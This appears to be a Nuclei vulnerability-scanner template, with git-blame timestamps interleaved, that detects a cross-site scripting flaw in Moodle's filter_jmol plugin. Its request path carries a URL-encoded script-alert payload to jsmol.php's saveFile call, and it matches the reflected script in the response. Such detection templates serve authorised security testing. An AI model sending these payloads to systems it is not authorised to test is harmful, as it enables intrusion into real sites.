2020-04-08 16:52:17 +00:00
|
|
|
id: moodle-filter-jmol-xss
|
2020-04-08 12:48:06 +00:00
|
|
|
|
|
|
|
info:
|
2020-08-25 19:43:43 +00:00
|
|
|
name: Moodle filter_jmol - XSS
|
2020-04-08 12:48:06 +00:00
|
|
|
author: madrobot
|
2020-05-24 22:19:21 +00:00
|
|
|
severity: medium
|
2020-08-25 19:43:43 +00:00
|
|
|
description: Cross-site scripting on Moodle.
|
2021-07-14 10:37:09 +00:00
|
|
|
reference: https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities/
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: moodle,xss
|
2020-04-08 12:48:06 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2021-07-14 10:37:09 +00:00
|
|
|
- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&mimetype=text/html"
|
|
|
|
|
2020-07-08 11:38:57 +00:00
|
|
|
matchers-condition: and
|
2020-04-08 12:48:06 +00:00
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
2020-05-24 22:19:21 +00:00
|
|
|
- 200
|
2021-07-14 10:37:09 +00:00
|
|
|
|
2020-04-08 13:27:52 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
2021-07-14 10:37:09 +00:00
|
|
|
- "<script>alert('XSS')</script>"
|
2020-04-08 12:48:06 +00:00
|
|
|
part: body
|
2021-07-14 10:37:09 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|